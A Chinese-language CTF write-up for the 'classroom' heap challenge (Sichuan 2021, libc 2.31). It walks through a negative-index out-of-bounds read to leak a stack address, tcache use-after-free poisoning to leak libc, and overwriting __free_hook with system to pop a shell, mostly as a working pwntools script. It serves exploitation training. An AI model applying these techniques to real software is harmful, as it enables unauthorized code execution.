堆技巧 数组反向越界泄露地址
四川省2021信息安全技术大赛 classroom
痛苦痛苦痛苦,调了半天才找到数组起始地址,还是自己太菜了,好好记录一下这题
题目给了libc,2.31的题
嗯,可以考虑覆盖got表或者hook函数
打开ida发现是c++的题,认真分析一下
free函数
存在UAF
add函数与show函数
index是int型数据,有符号整型,可以为负数,程序会在申请完chunk后将chunk内容输出出来,如果我们输入index处本来有内容,那么他会不让我们输入内容,直接将chunk的内容输出来,这里我们就想到利用数组越界来泄露某些地址了。
add函数只允许申请0x20大小的chunk,且输入的chunk内容最多为8字节
show函数,chunk内容位于第二个参数,rsi传参
思路
1.利用gdb调试找到chunk数组起始地址,输入负数泄露栈地址
2.利用UAF获得libc地址
3.利用UAF覆盖__free_hook为system函数
4.释放内容为/bin/sh的chunk获得shell
过程
先把前面的写好
# coding=utf-8
from pwn import *
context.log_level='debug'
s = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
r = lambda num=4096 :p.recv(num)
ru = lambda delims :p.recvuntil(delims)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,'\0'))
uu64 = lambda data :u64(data.ljust(8,'\0'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
lg = lambda address,data :log.success('%s: '%(address)+hex(data))
#p=remote('',)
p=process('./classroom')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def dbg(cmd=''):
gdb.attach(p,cmd)
def add(idx, content = 'a\n'):
sla('>', str(1))
sla('Would you tell me THIS STUDENT\'S ID?\n>', str(idx))
sla('Would you tell me THIS STUDENT\'S NAME?\n>', content)
def free(idx):
sla('>', str(2))
sla('Would you tell me THIS STUDENT\'S ID?\n>', str(idx))
def edit(idx, content):
sla('>', str(3))
sla('Would you tell me THIS STUDENT\'S ID?\n>', str(idx))
sla('Would you tell me THIS STUDENT\'S NAME?\n>', content)
show函数在0x1957处,在下断点调试
# coding=utf-8
from pwn import *
context.log_level='debug'
def dbg(cmd=''):
gdb.attach(p,cmd)
p=process('./classroom')
dbg('b * $rebase(0x1957)')
p.interactive()
我们申请三个chunk,内容依次为eee,qwe,zxczx,依次为chunk0,1,2,每当执行到show函数的时候,我们发现chunk0,1,2依次存在返回地址的下面,说明数组起始地址(也就是a1的地址就是返回地址的下一位(0x7ffe916dca58)),那么我们可以输入 -4来获取0x7ffe916dcac0这个地址
sla('>', str(1))
sla('Would you tell me THIS STUDENT\'S ID?\n>', str(0xfffffffc)) #-4 4294967292
ru('Welcome my student :')
stack = u64(r(6).ljust(8, '\x00'))
lg('stack',stack)
libc_ret = stack+0x8
lg('libc_ret',libc_ret)
#libc_ret
dbg('b * $rebase(0x1957)')
泄露的栈地址0x7ffe916dcac0+0x8就是存放__libc_start_main+243的地址,我们可以利用uaf修改chunk的fd指针使chunk申请到__libc_start_main+243处,获得libc,由于我们不能破坏栈结构,我们可以找个没有有用数据的地址stack-0x70处,然后将存放__libc_start_main+243的地址放到stack-0x70处,之后show函数输出__libc_start_main+243地址,获得libc基地址。
add(0)
add(1)
add(2)
add(5)
add(6)
add(7, '/bin/sh') #存放/bin/sh,一会将free_hook改为system时使用
free(0)
free(1)
dbg()
edit(1, p64(stack-0x70)) #修改tcache bin chunk1指向stack-0x70处
dbg()
add(3)
dbg()
再次申请chunk,会把chunk申请到stack-0x70处,将存放__libc_start_main+243的地址写入
add(4, p64(libc_ret)) #将chunk申请到stack-0x70处
sla('>', str(1))
sla('Would you tell me THIS STUDENT\'S ID?\n>', str(0))
p.recvuntil('Welcome my student :')
libc.address = u64(r(6).ljust(8, '\0'))-libc.sym['__libc_start_main']-243
lg('libc.address ',libc.address )
dbg()
之后利用相同的方法将free_hook改为system函数
free(5)
free(6)
edit(6, p64(libc.sym['__free_hook']))
add(8)
add(9, p64(libc.sym['system']))
free(7)
itr()
获得shell